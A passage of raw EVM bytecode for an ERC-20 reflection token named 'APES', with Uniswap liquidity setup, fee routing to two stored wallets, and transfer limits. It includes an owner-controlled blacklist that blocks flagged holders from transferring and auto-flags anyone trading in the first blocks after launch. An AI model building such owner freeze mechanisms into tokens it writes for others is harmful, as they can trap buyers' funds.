600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610a6430610f9e565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610ad06123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5490614cd7565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610bc06123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4490614cd7565b60405180910390fd5b600a811115610c91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8890614c57565b60405180910390fd5b8060108190555050565b610ca36123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2790614cd7565b60405180910390fd5b80601660186101000a81548160ff02191690831515021790555050565b610d556123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990614cd7565b60405180910390fd5b600060056000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610f006123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8490614cd7565b60405180910390fd5b6000479050610f9b816131ce565b50565b6000610fe8600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613374565b9050919050565b610ff76123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107b90614cd7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61114a6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ce90614cd7565b60405180910390fd5b600081101580156111e9575060648111155b611228576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121f90614d17565b60405180910390fd5b80600d8190555050565b61123a6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112be90614cd7565b60405180910390fd5b600060056000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61140e6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461149b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149290614cd7565b60405180910390fd5b6000600c54101580156114b157506064600c5411155b6114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790614c97565b60405180910390fd5b80600c8190555050565b60606040518060400160405280600481526020017f4150455300000000000000000000000000000000000000000000000000000000815250905090565b61153f6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c390614cd7565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561165d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165490614c37565b60405180910390fd5b61166782826133e2565b5050565b600061167f6116786123a6565b8484612579565b6001905092915050565b6116916123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461171e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171590614cd7565b60405180910390fd5b60005b828290508110156118be57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683838381811061177857611777615166565b5b905060200201602081019061178d91906143eb565b73ffffffffffffffffffffffffffffffffffffffff16141580156118265750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383838181106117f8576117f7615166565b5b905060200201602081019061180d91906143eb565b73ffffffffffffffffffffffffffffffffffffffff1614155b156118ab5760016006600085858581811061184457611843615166565b5b905060200201602081019061185991906143eb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806118b6906150bf565b915050611721565b505050565b6118cb6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611958576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194f90614cd7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b61197c6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0090614cd7565b60405180910390fd5b6000611a1430610f9e565b9050611a1f8161343d565b50565b611a2a6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae90614cd7565b60405180910390fd5b6005811115611afb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af290614c77565b60405180910390fd5b80600a8190555050565b611b0d6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9190614cd7565b60405180910390fd5b601660149054906101000a900460ff1615611bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be190614d97565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c7a30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006123ae565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc057600080fd5b505afa158015611cd4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf89190614418565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d5a57600080fd5b505afa158015611d6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d929190614418565b6040518363ffffffff1660e01b8152600401611daf929190614a7e565b602060405180830381600087803b158015611dc957600080fd5b505af1158015611ddd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e019190614418565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611e8a30610f9e565b600080611e956113dd565b426040518863ffffffff1660e01b8152600401611eb796959493929190614ad0565b6060604051808303818588803b158015611ed057600080fd5b505af1158015611ee4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611f099190614659565b505050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611fab929190614aa7565b602060405180830381600087803b158015611fc557600080fd5b505af1158015611fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ffd91906145ff565b506001601660146101000a81548160ff021916908315150217905550600160176000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555043600e819055506722b1c8c1227a0000600f8190555050565b6120b46123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213890614cd7565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006121c9601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f9e565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61225d6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e190614cd7565b60405180910390fd5b80601660156101000a81548160ff02191690831515021790555050565b61230f6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461239c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239390614cd7565b60405180910390fd5b80600f8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561241e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241590614d77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561248e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248590614bf7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161256c9190614dd7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156125e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e090614d57565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612659576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161265090614bb7565b60405180910390fd5b6000811161269c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161269390614cf7565b60405180910390fd5b6126a46113dd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561271257506126e26113dd565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612fcb57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156127bb5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6127c457600080fd5b6004600e546127d39190614efe565b43116129f357601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156128855750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156128e7576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506129f2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156129935750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156129f1576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015612a9e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612af45750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612d8c57601660149054906101000a900460ff16612b48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3f90614db7565b60405180910390fd5b612b996064612b8b6019612b7d601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f9e565b6136c590919063ffffffff16565b61374090919063ffffffff16565b8110612bb9576006601054612bae9190614fdf565b600b81905550612ca7565b612c0a6064612bfc600f612bee601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f9e565b6136c590919063ffffffff16565b61374090919063ffffffff16565b8110612c2a576004601054612c1f9190614fdf565b600b81905550612ca6565b612c7b6064612c6d6005612c5f601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f9e565b6136c590919063ffffffff16565b61374090919063ffffffff16565b8110612c9b576002601054612c909190614fdf565b600b81905550612ca5565b601054600b819055505b5b5b6000612cb283610f9e565b9050612ce56064612cd7600d54683635c9adc5dea000006136c590919063ffffffff16565b61374090919063ffffffff16565b612cf8828461378a90919063ffffffff16565b1115612d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3090614d37565b60405180910390fd5b6000600f541115612d8a57600f54821115612d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8090614b97565b60405180910390fd5b5b505b6000612d9730610f9e565b9050601660179054906101000a900460ff16158015612e045750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015612e1c5750601660149054906101000a900460ff165b15612fc957612e726064612e646019612e56601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f9e565b6136c590919063ffffffff16565b61374090919063ffffffff16565b8210612e9257601e601054612e879190614efe565b600b81905550612f80565b612ee36064612ed5600f612ec7601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f9e565b6136c590919063ffffffff16565b61374090919063ffffffff16565b8210612f0357600f601054612ef89190614efe565b600b81905550612f7f565b612f546064612f466005612f38601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f9e565b6136c590919063ffffffff16565b61374090919063ffffffff16565b8210612f74576005601054612f699190614efe565b600b81905550612f7e565b601054600b819055505b5b5b600954811115612fc857601660159054906101000a900460ff16612fa45760095490505b6000600c541115612fbd57612fb8816137e8565b612fc7565b612fc68161395a565b5b5b5b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806130725750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806130895750601660189054906101000a900460ff165b1561309357600090505b60168054906101000a900460ff161580156130f85750601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561314e5750601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561315857600090505b613164848484846139b5565b50505050565b60008383111582906131b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131a99190614b75565b60405180910390fd5b50600083856131c19190614fdf565b9050809150509392505050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16613230600a6132226003866136c590919063ffffffff16565b61374090919063ffffffff16565b60405161323c90614a4e565b60006040518083038185875af1925050503d8060008114613279576040519150601f19603f3d011682016040523d82523d6000602084013e61327e565b606091505b505090506000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166132e4600a6132d66007876136c590919063ffffffff16565b61374090919063ffffffff16565b6040516132f090614a4e565b60006040518083038185875af1925050503d806000811461332d576040519150601f19603f3d011682016040523d82523d6000602084013e613332565b606091505b505090507fc45e9b3ac19bf635feaed560109cb8931031fbbc86809d50d65d41a2cf2fe8b98282604051613367929190614b4c565b60405180910390a1505050565b60006007548211156133bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133b290614bd7565b60405180910390fd5b60006133c56139e2565b90506133da818461374090919063ffffffff16565b915050919050565b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6001601660176101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561347557613474615195565b5b6040519080825280602002602001820160405280156134a35781602001602082028036833780820191505090505b50905030816000815181106134bb576134ba615166565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561355d57600080fd5b505afa158015613571573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135959190614418565b816001815181106135a9576135a8615166565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061361030601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846123ae565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613674959493929190614df2565b600060405180830381600087803b15801561368e57600080fd5b505af11580156136a2573d6000803e3d6000fd5b50505050506000601660176101000a81548160ff02191690831515021790555050565b6000808314156136d8576000905061373a565b600082846136e69190614f85565b90508284826136f59190614f54565b14613735576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161372c90614cb7565b60405180910390fd5b809150505b92915050565b600061378283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613a0d565b905092915050565b60008082846137999190614efe565b9050838110156137de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137d590614c17565b60405180910390fd5b8091505092915050565b6001601660176101000a81548160ff0219169083151502179055506000600c5460646138149190614fdf565b905060006138406064613832600c54866136c590919063ffffffff16565b61374090919063ffffffff16565b9050600061385860028361374090919063ffffffff16565b9050600061386f8286613a7090919063ffffffff16565b9050600047905061387f82613aba565b60006138948247613a7090919063ffffffff16565b905060006138be60646138b089856136c590919063ffffffff16565b61374090919063ffffffff16565b90506138c9816131ce565b600081836138d79190614fdf565b90506000861180156138e95750600081115b15613934576138f88682613d0c565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56185828960405161392b93929190614e4c565b60405180910390a15b50505050505050506000601660176101000a81548160ff02191690831515021790555050565b6001601660176101000a81548160ff02191690831515021790555061397e81613aba565b6000479050600081111561399657613995476131ce565b5b506000601660176101000a81548160ff02191690831515021790555050565b806139c3576139c2613e00565b5b6139ce848484613e43565b806139dc576139db61400e565b5b50505050565b60008060006139ef614022565b91509150613a06818361374090919063ffffffff16565b9250505090565b60008083118290613a54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613a4b9190614b75565b60405180910390fd5b5060008385613a639190614f54565b9050809150509392505050565b6000613ab283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061316a565b905092915050565b6000600267ffffffffffffffff811115613ad757613ad6615195565b5b604051908082528060200260200182016040528015613b055781602001602082028036833780820191505090505b5090503081600081518110613b1d57613b1c615166565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613bbf57600080fd5b505afa158015613bd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613bf79190614418565b81600181518110613c0b57613c0a615166565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613c7230601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846123ae565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613cd6959493929190614df2565b600060405180830381600087803b158015613cf057600080fd5b505af1158015613d04573d6000803e3d6000fd5b505050505050565b613d3930601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846123ae565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613d856113dd565b426040518863ffffffff1660e01b8152600401613da796959493929190614ad0565b6060604051808303818588803b158015613dc057600080fd5b505af1158015613dd4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613df99190614659565b5050505050565b6000600a54148015613e1457506000600b54145b15613e1e57613e41565b600a54601181905550600b546012819055506000600a819055506000600b819055505b565b600080600080600080613e5587614084565b955095509550955095509550613eb386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a7090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613f4885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461378a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613f94816140ec565b613f9e84836141a9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051613ffb9190614dd7565b60405180910390a3505050505050505050565b601154600a81905550601254600b81905550565b600080600060075490506000683635c9adc5dea000009050614058683635c9adc5dea0000060075461374090919063ffffffff16565b82101561407757600754683635c9adc5dea00000935093505050614080565b81819350935050505b9091565b60008060008060008060008060006140a18a600a54600b546141e3565b92509250925060006140b16139e2565b905060008060006140c48e878787614279565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006140f66139e2565b9050600061410d82846136c590919063ffffffff16565b905061416181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461378a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6141be82600754613a7090919063ffffffff16565b6007819055506141d98160085461378a90919063ffffffff16565b6008819055505050565b60008060008061420f6064614201888a6136c590919063ffffffff16565b61374090919063ffffffff16565b90506000614239606461422b888b6136c590919063ffffffff16565b61374090919063ffffffff16565b9050600061426282614254858c613a7090919063ffffffff16565b613a7090919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061429285896136c590919063ffffffff16565b905060006142a986896136c590919063ffffffff16565b905060006142c087896136c590919063ffffffff16565b905060006142e9826142db8587613a7090919063ffffffff16565b613a7090919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008135905061431181615675565b92915050565b60008151905061432681615675565b92915050565b60008135905061433b8161568c565b92915050565b60008083601f840112614357576143566151c9565b5b8235905067ffffffffffffffff811115614374576143736151c4565b5b6020830191508360208202830111156143905761438f6151ce565b5b9250929050565b6000813590506143a6816156a3565b92915050565b6000815190506143bb816156a3565b92915050565b6000813590506143d0816156ba565b92915050565b6000815190506143e5816156ba565b92915050565b600060208284031215614401576144006151d8565b5b600061440f84828501614302565b91505092915050565b60006020828403121561442e5761442d6151d8565b5b600061443c84828501614317565b91505092915050565b60006020828403121561445b5761445a6151d8565b5b60006144698482850161432c565b91505092915050565b60008060408385031215614489576144886151d8565b5b600061449785828601614302565b92505060206144a885828601614302565b9150509250929050565b6000806000606084860312156144cb576144ca6151d8565b5b60006144d986828701614302565b93505060206144ea86828701614302565b92505060406144fb868287016143c1565b9150509250925092565b6000806040838503121561451c5761451b6151d8565b5b600061452a85828601614302565b925050602061453b85828601614397565b9150509250929050565b6000806040838503121561455c5761455b6151d8565b5b600061456a85828601614302565b925050602061457b858286016143c1565b9150509250929050565b6000806020838503121561459c5761459b6151d8565b5b600083013567ffffffffffffffff8111156145ba576145b96151d3565b5b6145c685828601614341565b92509250509250929050565b6000602082840312156145e8576145e76151d8565b5b60006145f684828501614397565b91505092915050565b600060208284031215614615576146146151d8565b5b6000614623848285016143ac565b91505092915050565b600060208284031215614642576146416151d8565b5b6000614650848285016143c1565b91505092915050565b600080600060608486031215614672576146716151d8565b5b6000614680868287016143d6565b9350506020614691868287016143d6565b92505060406146a2868287016143d6565b9150509250925092565b60006146b883836146c4565b60208301905092915050565b6146cd81615013565b82525050565b6146dc81615013565b82525050565b60006146ed82614eae565b6146f78185614ed1565b935061470283614e9e565b8060005b8381101561473357815161471a88826146ac565b975061472583614ec4565b925050600181019050614706565b5085935050505092915050565b61474981615037565b82525050565b6147588161507a565b82525050565b600061476982614eb9565b6147738185614eed565b935061478381856020860161508c565b61478c816151dd565b840191505092915050565b60006147a4601683614eed565b91506147af826151ee565b602082019050919050565b60006147c7602383614eed565b91506147d282615217565b604082019050919050565b60006147ea602a83614eed565b91506147f582615266565b604082019050919050565b600061480d602283614eed565b9150614818826152b5565b604082019050919050565b6000614830601b83614eed565b915061483b82615304565b602082019050919050565b6000614853603983614eed565b915061485e8261532d565b604082019050919050565b6000614876601d83614eed565b91506148818261537c565b602082019050919050565b6000614899601783614eed565b91506148a4826153a5565b602082019050919050565b60006148bc603183614eed565b91506148c7826153ce565b604082019050919050565b60006148df602183614eed565b91506148ea8261541d565b604082019050919050565b6000614902602083614eed565b915061490d8261546c565b602082019050919050565b6000614925602983614eed565b915061493082615495565b604082019050919050565b6000614948602e83614eed565b9150614953826154e4565b604082019050919050565b600061496b602283614eed565b915061497682615533565b604082019050919050565b600061498e602583614eed565b915061499982615582565b604082019050919050565b60006149b1600083614ee2565b91506149bc826155d1565b600082019050919050565b60006149d4602483614eed565b91506149df826155d4565b604082019050919050565b60006149f7601783614eed565b9150614a0282615623565b602082019050919050565b6000614a1a601883614eed565b9150614a258261564c565b602082019050919050565b614a3981615063565b82525050565b614a488161506d565b82525050565b6000614a59826149a4565b9150819050919050565b6000602082019050614a7860008301846146d3565b92915050565b6000604082019050614a9360008301856146d